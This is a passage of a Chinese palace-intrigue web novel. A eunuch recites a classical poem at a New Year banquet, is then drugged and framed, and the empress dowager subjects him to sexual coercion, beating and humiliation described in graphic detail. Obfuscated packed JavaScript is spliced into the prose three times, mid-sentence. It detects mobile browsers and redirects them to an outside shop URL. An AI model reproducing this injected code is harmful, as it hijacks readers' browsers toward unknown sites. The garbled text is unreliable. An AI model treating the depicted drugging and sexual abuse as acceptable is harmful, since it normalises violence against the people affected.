先示弱,将对方捧高。这是套路,也是实话。殿中许多人闻言,皆以为他这是要认输讨饶了,不由露出果然如此的神色。 桑连云眼底讥诮更浓,正要乘胜追击,再挤兑几句。 却听关禧话锋一转,语气平稳:“然则,今日元旦佳节,陛下赐宴,君臣同乐。状元公有此雅兴,奴才虽不才,亦不敢扫了诸位雅兴,更不敢负了陛下恩典。”他转向御座,躬身道,“陛下,奴才愚钝,于诗词一道实无造诣,唯往日随侍之余,偶阅前人诗篇,感其气象,记其辞章。今日便斗胆,借前人些许意境,应景胡诌几句,聊以助兴,若有粗陋不当之处,万望陛下与诸位大人、状元公勿要见笑。” 他这番话,既撇清了自己创作的嫌疑,声明是借前人意境,应景胡诌,将期待值降到最低,又巧妙接下了挑战,还把皮球踢回给桑连云和众人。我说了我不行,是你们非要看,看了就别嫌难看。 萧衍眼中掠过一丝兴味,点了点头:“准。念来。” 关禧直起身,目光扫过殿外。雪后初霁,夜色已浓,宫灯如昼,映照着琼楼玉宇,远处太液池冰面如镜,倒映着璀璨星光与宫阙灯火。 他略一沉吟,清脆的声音在寂静大殿中响起: “东风夜放花千树,更吹落、星如雨。” 开篇一句,意象瑰丽奇绝,以东风催开万千灯火如花树,吹落星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196926|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰如雨,瞬间将宫宴的璀璨辉煌与天地间的壮阔气象勾连在一起,磅礴之势扑面而来。殿中不少人下意识地随着他的诗句望向殿外辉煌灯火,心中一震。 桑连云眉头倏然蹙紧。 关禧语调微扬,继续吟道: “宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。” 銮驾仪仗,宝马香车,乐声悠扬,美酒流光,彻夜欢舞……寥寥数语,盛世宴游的繁华喧嚣如在眼前,画面流转,声色俱全。这已不仅仅是写景,更是对今日宫宴盛况的精准描摹。 文官席中,已有懂诗之人面露惊异。这绝非不通文墨之人能胡诌出的句子。 关禧声音渐缓: “蛾儿雪柳黄金缕,笑语盈盈暗香去。” 仿佛镜头拉近,瞥见盛装女子云鬓金饰,笑语嫣然,暗香浮动,却又悄然远去,留下一抹惊艳又怅然的余韵。屏风后的妃嫔们不觉凝神,仿佛诗句中的蛾儿雪柳正映照着她们今日的盛装。 然后,他目光似有意似无意地掠过御座,又扫过桑连云那张已然失色的脸,最终投向殿外无垠的夜空,声音陡然拔高: “众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。” 最后几句,峰回路转,意境全出,于极盛极闹之中,陡然勾勒出一个超然独立,自甘寂寞的那人形象。寻觅千百度而不见,回首间却发现在那灯火冷落之处。这寻觅与顿悟,这热闹与孤清,这执着与超脱,形成了动人的对比,余韵无穷,直叩人心。 殿内,死一般的寂静。 每一个人,无论是精通诗词的文臣,还是不甚了了的武官,甚至是屏风后的后宫众人,都被这突如其来的的诗句震住了。 这哪里是胡诌?这分明是足以流传千古的绝妙好词,其意境之超迈,辞藻之精丽,气象之开阔,转折之巧妙,尤其是最后点睛之笔带来的哲思与余味,莫说桑连云,便是当朝公认的诗词大家,也未必能轻易作出。 桑连云僵立在席前,脸上血色褪尽。 他嘴唇哆嗦着,想要挑刺,想要说这定是抄袭前人,可搜肠刮肚,竟想不出哪朝哪代哪位名家有过如此气象,如此辞句。 这词句浑然天成,好像本该就存在于这夜色之中,只是被这太监信手拈来,他引以为傲的才学,在这首胡诌的词面前,显得如此苍白可笑。 更让他如坠冰窟的是,那众里寻他千百度的执著,那灯火阑珊处的孤清,像一面镜子,照出了他此刻乃至这些时日的境遇,自诩清高,徘徊在权力与恩宠的边缘,寻觅着所谓的直道,却不知早已被摒弃于真正的灯火之外。而那个他鄙夷的阉宦,却站在御座之侧,吟出了这般境界…… 萧衍靠在御座上的身体已完全坐直,目光灼灼地盯着关禧。 这太监,总能给他惊喜,或者说……惊吓。 冯远道已忍不住击节,低声叹道:“妙哉!此词只应天上有!关公公大才,老朽……老朽佩服!”他这一叹,打破了寂静。 旋即,低低的议论声,赞叹声如潮水般涌起,迅速席卷大殿。无论真情还是假意,此刻无人能否认这首词的惊艳。 关禧仿若未闻那些议论,也未曾去看桑连云摇摇欲坠的身形,他转向御座,再次躬身,语气谦卑如初:“奴才信口雌黄,拾前人牙慧,勉强拼凑,污了圣听,请陛下恕罪。” 萧衍深深看了他一眼,忽而朗声大笑:“好一个蓦然回首,那人却在,灯火阑珊处!关禧,你总是能给朕惊喜!此词当浮一大白!赏!重重有赏!” 皇帝金口玉言,定音锤落下。 桑连云身躯剧震,猛地后退半步,撞在身后案几上,杯盘轻响,他却浑然不觉,只觉满殿灯火辉煌,竟无一处可以容身,那灯火阑珊处,成了对他最绝妙的讽刺。 89.第 91 章 殿内的寂静并未持续太久。 皇帝那声“重重有赏”就像解开了某种无形的桎梏,各种声音重新涌起。惊叹赞叹,阿谀奉承,如潮水般涌向御座,也分润些许泼向那个重新落座,面色沉静如水的绯红身影。 可这赞誉本身,便是新的漩涡。 关禧刚端起酒杯,便有人举杯遥敬,是方才还眼带讥诮的某位侍郎,此刻满面春风,仿佛刚才的刁难从未发生。紧接着,附和者众。勋贵武臣那边,几位都督佥事、总兵也粗豪地喊着“关公公海量”、“敬关公公一杯”,声如洪钟,不容推拒。就连一些宗室子弟,也带着新奇,举杯示意。 皇帝笑吟吟地看着,没有阻止。这便是恩宠,也是烈火烹油。 关禧心中清明,知道自己绝不能推拒。可他酒量本就不佳,这御酒又极醇厚,起初尚能维持仪态,小口啜饮,回以得体的谦辞。但敬酒者络绎不绝,理由五花八门,贺他词作惊艳,贺他得蒙圣眷,甚至有人直接道“为内缉事厂贺”。 酒杯一次次被斟满,辛辣的液体滑过喉咙,烧灼着胃腑,热意迅速蔓延至四肢百骸。他的脸颊开始不受控制地泛起红晕,开始是薄薄一层,渐渐如染胭脂,连耳根,脖颈都透出绯色。眼前的光影开始晃动重叠,殿内的喧嚣声都隔了一层水膜,时而清晰,时而模糊。 又一巡酒过,是一位平日与徐阶走得颇近的郎中亲自执壶过来,满脸堆笑,非要与他“连饮三杯,以全今日之兴”。关禧推辞不得,三杯急酒下肚,只觉得一股热气直冲头顶,眼前一黑,赶紧用手撑住案几边缘,才勉强稳住身形。 他抬起头,视线有些涣散地望向御座。 萧衍的目光恰巧扫了过来,落在他酡红的脸颊和明显失焦的眼神上,眉头蹙了一下,随即对侍立在一旁的孙得禄低声吩咐了一句。 孙得禄趋步上前,走到关禧席边,“关提督,陛下见您酒意上涌,恐伤了身子,特恩准您先行离席,回居所歇息片刻。晚些时候若精神好了,再回来伺候也不迟。” 关禧如蒙大赦,混沌的脑子强行挤出一丝清明,他挣扎着想起身谢恩,腿脚却有些发软。孙得禄眼疾手快,虚扶了一把,同时对不远处侍立的一个机灵小太监使了个眼色。那小太监立刻小跑过来,与孙得禄一左一右,看似恭敬,实则半搀半扶地将关禧从席间请了起来。 “奴才……谢陛下体恤……”关禧的声音带着酒后的沙哑,勉强朝着御座方向躬了躬身。 萧衍摆了摆手,示意他快去。 关禧靠着那两个太监的支撑,才脚步虚浮地转身,一步步挪出这盛宴殿堂。 离开太和殿正殿,凛冽的寒风扑面而来,激得关禧打了个寒颤,酒意醒了两分,但更多的是头晕目眩和四肢乏力。孙得禄并未跟来,只有那个小太监和一个看似寻常的粗使太监一左一右搀扶着他,朝着皇帝赐给他的那处位于乾元殿东侧的独立院落走去。 夜色浓重,宫灯在寒风中摇曳,三人的影子被拉得忽长忽短,投在积雪未净的宫道上。沿途寂静,只有靴子踩在雪上的咯吱声和关禧略显粗重的呼吸。 好不容易捱到院门前,院门虚掩着。小太监推开院门,搀着关禧走了进去。院子里静悄悄的,正房和厢房都黑着灯,只有廊下挂着一盏气死风灯,映着那株老梅疏落的枝影。 “提督,您小心门槛。”小太监低声说着,将他扶进正房,径直引向东厢,那是关禧平日歇息的房间。 东厢内炭火早已熄灭,寒气甚重。小太监点亮了桌上的烛台,又匆匆去角落的炭盆里拨弄,试图重新引燃炭火。粗使太监则将关禧扶到临窗的炕边坐下。 关禧头重脚轻,浑身燥热,胃里翻江倒海。他靠在炕沿,闭着眼,竭力压下那股强烈的呕吐感。 “水……”他含糊地吐出个字。 小太监连忙应声:“奴才这就去给您倒茶。”说着,转身走到靠墙的桌子边,拿起茶壶晃了晃,里面是空的,“提督稍候,茶壶没水了,奴才去小厨房看看,很快回来。”说罢,便匆匆推门出去了。 屋内只剩下关禧和那个背对着他,正费力捣鼓炭盆的粗使太监。烛光昏暗,粗使太监的背影投在墙上,显得有些模糊。 关禧的意识在酒精的侵蚀下越来越昏沉,眼皮沉重得抬不起来。不知过了多久,也许只是片刻,门外再次传来脚步声,轻盈而细碎,不似方才那粗使太监的沉重。 门被推开。 一股馥郁的异香混合着木质檀香?气息,随风飘入。 关禧混沌的脑中闪过一丝极其微弱的疑惑,这香气……他勉强掀起沉重的眼皮,模糊的视线里,映入一抹绣着金凤纹样的朱红裙裾。 视线上移,是纤腰一束,再往上……那张脸隐在烛火与黑暗的交界处,看不真切,只有金凤步摇垂下的流苏,在昏黄光线下晃动。 是只有中宫皇后才能穿着的正红。 关禧的脑子“嗡”地一声,残留的理智尖叫着危险,但身体却被酒精和一股莫名窜起的燥热彻底支配,那燥热来得凶猛蹊跷,像无数细小的火苗在血液里窜动,烧得他口干舌燥,神智越发昏蒙。 “皇后……娘娘?”他声音嘶哑得不成样子,试图起身行礼,身体却软得不受控制,向前一个踉跄。 那抹朱红的身影侧身,避开他的触碰,声音听来有些飘忽,又带着柔婉:“关公公醉了,本宫路过此地,见灯亮着,顺道来看看。” 这声音……关禧昏沉的意识挣扎着辨别,似乎有些不同,但此刻他已无力思考。 而先前那个背对着他弄炭盆的粗使小太监,已悄无声息地退到了门边阴影里,低垂着头,好像不存在一般。 屋内的空气变得更加滞闷燥热。 关禧只觉得那股火越烧越旺,眼前朱红的颜色刺激着他紧绷的神经,混合着那陌生的异香,竟让他产生了一种荒谬的冲动。 “热……好热……”他扯着自己绯红蟒袍的领口,眼神迷乱地盯着那抹朱红,一步步踉跄着向前。 “关公公,你放肆!”那声音陡然转厉,带着惊慌,朱红的身影向后退去,撞到了身后的多宝阁,发出一声轻响。 这声音终于让关禧昏沉的意识捕捉到一丝熟悉感,但这点清明如火花,瞬间便被滔天的欲望和燥热淹没,那抹红色是此刻唯一能缓解他痛苦的源头。 他凭着本能扑了过去,伸手抓住了那朱红衣袖的一角。 “刺啦——” 布料撕裂的声音在寂静的房间里格外清晰。 几乎是同时,院外传来一阵急促纷杂的脚步声,紧接着,院门被大力推开,火把的光亮驱散了院中的黑暗,映得窗纸一片通明。 “里面是何动静?!给哀家把门打开!” 是郑书意的声音。 东厢房的门被“砰”地一声从外面踹开。火光涌入,照亮了屋内一片狼藉,关禧半跪在地上,手里还攥着一片撕裂的朱红锦缎,眼神涣散,满面潮红。 而他面前,柳心溪发髻微乱,正用手紧紧攥着被撕裂的袖口,脸上苍白惊怒,眼中含着屈辱的泪水,正踉跄着后退。 郑书意在一群嬷嬷太监的簇拥下,站在门口。她身上仍穿着宴席那身绛紫常服,外面罩了件厚厚的玄狐斗篷,脸上没有任何宴席上的温煦笑意,目光如利刃般扫过关禧,又落在皇后身上,最后定格在那片撕裂的朱红衣袖上。 “好啊……好一个内缉事厂提督!好一个陛下眼前的红人!竟敢在宫中,在陛下赐予的居所,借酒装疯,对皇后行此禽兽不如之举!关禧,你该当何罪?!” 关禧被这突如其来的变故和太后冰冷的声音震得浑身一激灵,残存的酒意和燥热被吓退了大半,他张了张嘴,想要辩解,却发现喉咙干涩得发不出声音。 柳心溪此刻已由匆匆赶上前的大宫女扶住,她身体颤抖,泪水滑落,别过脸去,似是不堪受辱,更不愿多看关禧一眼。 郑书意深吸一口气,强压下怒火,厉声道:“将此狂悖之徒给哀家拿下!堵上嘴,捆结实了!没有哀家的命令,谁也不许靠近这院子,更不许走漏半点风声!” “是!”几个身材健硕,面目陌生的太监立刻如狼似虎般扑上来,不由分说地将瘫软无力的关禧死死按住,用早就准备好的麻绳迅速捆缚,又用布团狠狠塞住了他的嘴。 关禧只能发出“呜呜”的含糊声响。 郑书意这才转向柳心溪,语气稍稍缓和,“皇后受惊了。此事关乎国体天家颜面,绝不可外传。你先回宫,压压惊。这里,交给哀家处置。” 柳心溪抬起泪眼,看向太后,嘴唇翕动,最终只低低应了声:“是……母后。”便在宫女的搀扶下,步履凌乱地随着太后的人离开了这间小屋。 屋内瞬间空旷下来,只剩下被捆成粽子,堵着嘴的关禧,以及两个留下看守的太监。火把的光在门外晃动,映得屋内忽明忽暗。 关禧躺在地上,手脚被缚,口不能言,只有胸口在剧烈起伏,那被药物催发的燥热未退,每一次呼吸都带着滚烫的铁锈味,那不受控制,耻辱至极的反应,在昏黄摇曳的烛光下无所遁形。 门口那两个留下看守的太监,眼观鼻鼻观心,垂手肃立,对地上那具濒临爆发的躯体视若无睹。 直到那双缀着明珠的凤履,踏入他的视野。 郑书意去而复返,独自一人。 她反手,掩上了房门,将门外晃动的火光与寒夜的凛冽一并隔绝。屋内霎时安静得只剩下炭盆里银骨炭偶尔的噼啪,和关禧粗重的喘息。 她走到屋子中央,站定。居高临下地,俯视着地上狼狈不堪的少年。 从那被汗水浸透的乌黑额发,扫过他因竭力克制欲望而咬出血痕的嘴角,掠过剧烈起伏的胸膛,最终,落在那最醒目的地方。 停留了片刻。 没有厌恶,没有羞恼,像是在评估一件工具的损毁程度,或是一剂药方的烈性。 然后,她抬了抬下巴,对门口那两个木头般的太监,淡声吩咐:“你们也出去。守在院门外,没有哀家的旨意,任何人不得靠近,包括皇后宫里的人。” “是。”两个太监毫无迟疑,躬身退了出去,脚步声迅速消失在门外,院门被合拢的“咔哒”声隐约传来。 现在,这间充斥着异香药味的屋子里,只剩下他们两人。 郑书意慢慢踱步,走到临窗的炕边,那里还残留着关禧之前坐卧的痕迹。她伸出戴着长长玳瑁嵌宝石护甲的手指,指尖棉过炕沿,“这香,名唤春风一度。前朝秘药,药性极烈,尤擅催动气血,放大……感官。一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199652|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,便能教贞洁烈女化作荡/妇,端方君子沦为禽兽。” 她的目光转回关禧身上,看着他因她的话语骤然收缩的瞳孔,和更加激烈的颤抖。 “你方才饮的酒里,掺了东西。你屋里小厨房备着的醒酒汤,哀家也让人加料了。双喜,贵平,石安,此刻都在永寿宫偏殿喝茶。你这里,从你离席起,每一刻,都在哀家眼里。” 每一个字,都像钉子,将关禧死在阴谋的十字架上。不是皇后,从头到尾,都是太后。从他踏出乾元宫正殿的那一刻,或许更早,从他吟出那首词,风头无两,成为众失之的的那一刻,这张网就已经悄然收紧。 郑书意缓步走回他面前,弯下腰,伸出戴着护甲的手,拨开关禧汗湿黏在额前的一缕黑发,露出他布满血丝,盈满生理性泪水却强行维持着一丝清明的凤眼。 “很难受,是不是?骨头缝里都像有蚂蚁在爬,烧得慌,又空虚得紧,是不是恨不得立刻扯碎什么,填满什么?” 关禧死死瞪着她,喉咙里发出呜咽,被捆绑的身体痉挛般地挣动,想要避开那冰凉的触碰,又像是被那话语刺激得更加难以忍受。 郑书意直起身,俯视着他痛苦的挣扎,眼神幽深。 “关禧,你是个聪明人。聪明人该知道,有些路,走了第一步,就回不了头。”她顿了顿,“哀家给过你机会。在皇觉寺,哀家提醒过你,刀太锋利,易折。可你似乎……没听进去。” “皇帝年轻,锐气盛,想用你这把快刀,斩断些旧藤老蔓,哀家理解。可你这把刀,太不驯服,心思也太活络。哀家总不能眼睁睁看着,这把刀哪天割伤了皇帝的手,或者……调转刀锋,指向不该指的地方。” 她走到桌边,拿起桌上那盏冷透了的茶,看了看,又放下。 “今日之事,人赃并获。你对皇后行止不轨,撕扯凤裳,众目睽睽。只要哀家愿意,明日,不,今夜,就能让你身败名裂,凌迟处死。内缉事厂?呵,顷刻间便会烟消云散,成为史书上一笔荒唐的笑谈。” 关禧的挣扎微弱下去,不是因为认命,是恐惧和药力双重作用下/体力的透支。但他眼中那点清明,如风中之烛,顽强地摇曳着,不肯熄灭。 “但,哀家不喜欢浪费。”郑书意转过身,再次面对他,“尤其是,一把已经证明了自己有用,且……颇为特别的刀。” 她的目光,又一次落在他身体那无法掩饰的反应上,这一次,带着更明确的估量。 “你很能忍。”她评价道,“春风一度加上酒力,寻常人早已神智全失,丑态毕露。你却还能用这种眼神看着哀家……是对楚玉那丫头,执念深到连药石都无法完全淹没?” 听到楚玉这两个字,关禧喉咙里发出更急促的呜咽,眼神里进发出警告。 郑书意敏锐地捕捉到了这一点变化,嘴角勾了一下,那笑意冰冷。 “看来,是她。有趣。一个心里装着女人的太监。”她刻意加重了“太监”二字,“更难得的是,这具身子,倒还留着些男人的反应。” 她向前一步,绣着金凤的裙裾几乎要碰到关禧的脸,“关禧,哀家现在给你两条路。” “第一条,很简单。哀家现在就可以让人进来,给你解解药性。宫里净了身却还不安分的奴才,总有办法伺候到他们再也不敢胡思乱想。之后,你再以秽乱宫闹、意图侵犯皇后的罪名死去。你手下那些人,还有承华宫那个叫楚玉的宫女。你觉得,皇帝保得住他们吗?冯媛,又会不会为了一个死去的阉奴和已成污点的宫女,忤逆哀家?” “第二条路,乖乖做哀家的一条狗。一条比在皇帝面前更听话、更懂事的狗。内缉事厂,你可以继续管着,甚至,哀家可以让你管得更多。但往后,你看到什么,听到什么,查到什么,陛下那里该怎么说,不该怎么说……得由哀家教你。” “至于你这条命,还有你那点见不得光的心思,你手下那些人的安危。”她直起身,语气恢复淡漠,“哀家暂且替你留着。看你今后的表现。” “选吧。”她不再看他,转身走向窗前,望着外面沉沉的夜色,“你没有太多时间犹豫。这药,拖得越久,焚身之苦越甚,也越容易……损了根基。哀家虽然喜欢有用的刀,但一把彻底废掉的刀,也就不值得留了。” 屋内死寂。 只有关禧压抑到极致的喘息声,和血液在耳中奔流的轰鸣。 欲望的火焰还在肆虐,灼烧着他的每一寸神经,那难以启齿的空虚和渴望要将他吞噬。太后的条件像一条毒蛇,缠绕上他的脖颈,缓缓收紧。 是做一条即刻被碾死,并牵连所爱之人的野狗,还是做一条被套上锁链,失去自我却可能苟延残喘,暂时保住在意之人的家犬? 理智在尖叫,尊严在泣血。 可楚玉沉静的眼,石安惶恐的脸,双喜贵平的身影,甚至冯媛那复杂的一瞥……无数画面在灼热的识海中闪过。 他闭上眼,被捆缚的双手死死抠进地砖缝隙,指甲崩裂,渗出鲜血。喉咙里发出一声哀鸣,最终,化为一声几不可闻的。 “呜……嗯……” 那是一个点头的资势,一个臣服的信号。 “识时务。”郑书意淡淡评价。 话音落下的同时,她抬手,击掌三下。 90.第 92 章 关禧被药力烧灼得涣散的意识,因为这清晰的信号强行凝聚起一丝期待,解药,或者至少是缓解的手段。他艰难地转动眼珠,看向那扇紧闭的房门,被布团塞住的喉咙里发出含糊的呜咽。 门轴发出一声吱呀,被从外面推开一道缝。 没有预想中端着药碗或提着水桶的太监嬷嬷。 先飘进来的,是一股浓烈到呛鼻的甜香,混合着脂粉,与室内残留的春风一度异香格格不人,又交织出一种更令人头晕目眩的浑浊味道。 紧接着,一道身影侧着挤了进来。是个女人。 一个穿着桃红色俗艳绫罗襦裙,外罩一件半透明烟纱罩衫的女人。裙子领口开得极低,露出大片雪白晃眼的肌肤和一道深深的沟壑,裙摆高开叉,行走间两条光裸修长的腿若隐若现。她云鬓歪斜,插着几朵大红绢花并一支颤巍巍的赤金蝴蝶簪子,脸上涂着厚厚的脂粉,胭脂擦得红艳艳的,嘴唇更是涂得就像吸饱了血。眼波流转间,带着刻意训练过的媚俗风情。她年纪看起来不大,眉眼间的风尘气早已浸人骨髓,与宫中女子或端庄或清冷的气质截然不同。 她进门后,先是对着太后所在的方向,屈膝行了个不伦不类的礼,声音娇滴滴黏糊糊:“给贵主儿请安。”目光却已迫不及待地落在了地上被捆缚着,满面潮红,身体呈现出明显异常反应的关禧身上。 看到他那张过于俊美的脸,以及那无法掩饰的生理反应时,她眼睛明显亮了一下,舌尖下意识地舔过红艳的嘴唇。 关禧瞳孔骤缩。 不是解药?是个女人? 他想摇头,想抗拒,身体却被那名为春风一度的毒火烧得要融化,每一寸肌肤都在尖叫着渴望触碰,渴望填补那灭顶的空虚。这女人的出现,那露骨的打扮和眼神,像一根火柴,点燃了他体内本就肆虐的火焰,烧得他眼前发黑,理智的防线在药力冲击下岌岌可危。 郑书意站在窗前,背对着这一切,对身后进来的是什么人毫不在意。直到那女人行完礼,她才转过身,目光扫过那女人,最后落在关禧写满惊愕的脸上。 “疑惑?”她问,“你以为,春风一度这等前朝禁药,会有寻常解药?” 她踱步走近,绣着金凤的裙裾拂过地砖,停在关禧视线可及之处,那双总是含着温煦笑意的眼眸此刻深邃如寒潭,清晰地倒映出他狼狈不堪的模样。 “此药入腹,随血而行,催动的是最原始的欲念,烧灼的是丹田精气。唯一的解药,就是把这股火烧出来,泄干净。否则……”她顿了顿,指尖隔空,虚虚点了点关禧下身那骇人的轮廓,语气平淡得像在说今日的天气,“气血逆行,经脉贲张,轻则下身溃烂,再不能人道,重则……嘭。” 她吐出一个拟声词,嘴角勾起一丝没有温度的弧度。 “像个装满了气、又被架在火上的皮囊,炸开。从里面。” 关禧浑身剧颤,恐惧,前所未有的恐惧,混合着几乎要将他逼疯的生理欲望,就像两股反向的巨力,将他残存的意识撕扯得支离破碎。 郑书意直起身,对那早已跃跃欲试的女人淡淡道:“他是宫里的贵人,仔细伺候着。用你全部的本事,务必让他……泄得干干净净。事后,自有你的好处。” “是!贵主儿放心!奴家定叫这位小爷舒坦!”女人喜不自胜,扭着水蛇腰就要上前。 “不……”关禧用尽全身力气挣扎起来,被缚的身体在地面上扭动,他不要!他宁可死!宁可炸掉!也绝不要被这样侮辱! 楚玉……楚玉…… 想到楚玉,那沉静的眼眸,那夜风雪中带着冷香的气息,成了他濒临崩溃的理智中最后一根救命稻草。他不能……绝不能以这种方式背叛她,玷污自己,也玷污那份他珍视的情感。 “想去找楚玉?” 郑书意精准地刺破他最后一点幻想。她弯下腰,戴着坚硬玳瑁嵌宝石护甲的手,快如闪电,狠狠掴在了关禧的脸上。 “啪——!” 清脆响亮的声音在屋内炸开。 关禧被打得头偏向一侧,脸颊红肿起来,火辣辣的疼痛混合着口腔里的血腥味,让他眼前金星乱冒。塞口的布团都被打得松动了一些,他呛咳起来,更多的血沫从嘴角溢出。 郑书意一把扯住他汗湿的头发,强迫他抬起脸,面对着她冰冷的视线,也面对着自己此刻最不堪的模样,“关禧,你看看你自己。看看你现在是什么样子。一条被药性折磨得快要发疯、丑态百出的阉狗。一个连自己的身体都控制不住的废物。你还想着楚玉?你觉得你现在这副德性,配想她吗?还是你觉得,她能接受一个被药物控制、在妓女身下泄欲的太监?” 每一个字,都像蘸了盐水的鞭子,抽打在关禧早已鲜血淋漓的自尊上,他瞳孔放大,猛地将口中松动的布团狠狠啐了出去。 “我配不配想她……”他喘着粗气,声音嘶哑,“轮不到你这老虔婆来放屁!” 郑书意瞳孔骤然收缩,扣着他头发的手指收紧。 关禧迎着她要凝出冰碴的目光,那双被欲望和泪水洗过的凤眼里,爆发出前所未有的凶光,像一头被逼到绝境,獠牙尽露的兽。 “下作?丑态?废物?”他每说一个词,嘴角就抽搐着咧开一点,露出染血的牙齿,笑得狰狞,“郑书意,你看看你自己!三十八岁,先帝死了快六年了吧?你夜里抱着冰凉的枕头,闻着佛堂那股子腌人味儿的死灰味儿,心里烧的那把火,怕是比我这春风一度烈上千百倍!” 郑书意那保养得宜,永远从容的脸。第一次出现了裂痕,眼角的肌肉无法控制地抽动了一下,捏着他头发的指甲几乎要掐进他的头皮里。 “住口!”她厉声喝道,声音失了平素的沉稳。 “我偏要说!”关禧被她拽得头皮生疼,却像是感觉不到,积压了太久的屈辱混合着药力催发的血气,在这一刻轰然炸开,“你儿子防着你,你提拔的徐家蠢货只知道挺着肚子争风吃醋,满朝文武表面恭敬,背地里谁不骂你牝鸡司晨?你除了用这些下三滥的香药,在后宫里折腾我们这些没根的,没势的,你还会什么?啊?!” “你也就是个关在黄金笼子里,守着个太后名头发霉长毛的老寡妇!” 最后一句,就像惊雷,劈在寂静的屋内。 郑书意的呼吸骤然急促,胸口剧烈起伏,扬起另一只手,尖锐的护甲在烛火下闪着寒光,就要朝着关禧的脸再次掴下。 就在护甲即将触碰到皮肤的刹那。 关禧被捆缚的双腿屈起,用尽全身残留的力气,膝盖狠狠撞向郑书意的小腹。 他瞄得很准,虽被捆绑动作受限,但这突如其来的一击,正撞在郑书意柔软的腹部。她猝不及防,闷哼一声,踉跄着向后连退数步,撞在身后的多宝阁上,“哗啦”一声,几个古董摆件摇晃着坠落,摔得粉碎。 一直缩在墙角,被这突如其来的变故吓呆了的女人,此刻才发出一声短促的尖叫,又死死捂住自己的嘴。 郑书意脸上血色褪尽,一手捂着腹部,另一手扶着多宝阁站稳,死死盯着地上那个仍在挣扎,眼神却亮得骇人的少年,胸口起伏得厉害。 “好……好得很!”她从牙缝里挤出几个字,声音冰冷得像是腊月屋檐下最尖利的冰凌,“哀家倒要看看,是你的骨头硬,还是哀家手里的法子多!” 她转头,朝着门外厉喝:“来人!” 院门外立刻响起急促的脚步声,方才退出去的两个太监推门而入,看到屋内狼藉和太后铁青的脸色,吓得噗通跪倒。 郑书意指着地上的关禧,指尖都在发颤:“给哀家把他吊起来!扒了他的裤子!就用那捆他的绳子,吊到房梁上去!” 两个太监不敢有丝毫迟疑,爬起来,如狼似虎地扑向关禧。 关禧被药力烧得浑身发软,方才那一撞已是强弩之末,被他们粗暴地拖拽起来。粗糙的麻绳摩擦着皮肤,勒进皮肉,带来火辣辣的疼痛。 他被拽到屋子中央,绳子绕过房梁,两个太监奋力拉动,他整个人便被悬空吊了起来,只有脚尖勉强点地。 紧接着,“刺啦”一声,绸裤被撕开,那因药力狰狞的丑态,彻底暴露在昏黄的烛光和几道目光之下。 前所未有的羞耻,像毒蛇一样钻进心里,甚至暂时压过了药力的灼烧。关禧咬紧牙关,牙齿咯略作响,却再没发出一声求饶或咒骂,死死瞪着郑书意,眼神像两把淬了毒的刀子。 郑书意走到他面前,仰头看着他被吊起后更显痛苦的脸,和那无法掩饰的生理屈辱,脸上的震怒已渐渐压下,重新覆上一层冰封的平静,只是那平静之下,是更深的寒意。 “你不是骨头硬,骂得痛快吗?哀家今日就让你知道,在这宫里,骨头硬,舌头利,是要付出代价的。” 她对那两个太监吩咐:“去找一根马鞭来。要浸过盐水,带倒刺的。” 一个太监应声飞奔而去。 她又看向那个抖如筛糠的女人,眼神漠然:“你,过来。” 女人连滚爬爬地过来,跪在她脚边。 “刚才让你做的事,继续。”郑书意淡淡道,“就在这儿。让他看着,听着,感受着。哀家倒要瞧瞧,是他的嘴硬,还是他这身子……更诚实。” 女人惊恐地抬头,看了看被吊着的关禧,又看了看太后毫无表情的脸,知道自己没有任何选择,她颤巍巍地站起身,朝着被吊起的关禧走去,伸出涂着鲜红蔻丹的手…… “郑书意!” 关禧嘶吼出声,被吊起的身体因极愤怒绷成一张拉满的弓,脖颈上青筋暴突,他不再称呼太后,而是直呼其名。 女人被他眼中骇人的光芒吓得手一抖,僵在半空。 郑书意抬眸,冰冷的视线落在他脸上。 关禧急促地喘息着,每一个字都像是从牙缝里,混合着血沫和灼热的欲望,狠狠砸出来: “我关禧烂命一条,没了也就没了!但你以为这就完了?!” “你费尽心机,布下今晚这个局,皇后恰巧路过我独居的院落,我恰好被下了猛药,又恰好有个女人等在这里!一环扣一环,人证物证俱全,多完美的一出秽乱宫闹、意图侵犯中宫的戏码!” “可你算漏了一点,太蠢了!蠢得让人发笑!皇后是什么身份?中宫之主!元日大典刚散,她身边该有多少宫女嬷嬷随行?凤驾仪仗何在?她凭什么,又怎么可能,独自一人,悄无声息地路过我乾元殿东侧这处偏僻院落?!” “还有这个女人!”他目光如刀,别向那吓得面色惨白的女人,“宫里哪来的这种货色?浑身的勾栏味儿隔八丈远都能闻见!她从哪儿来的?谁放进来的?守门的侍卫太监是瞎了还是死了?一查便知!” “太后娘娘,”他咬着牙,一字一顿,“您这栽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 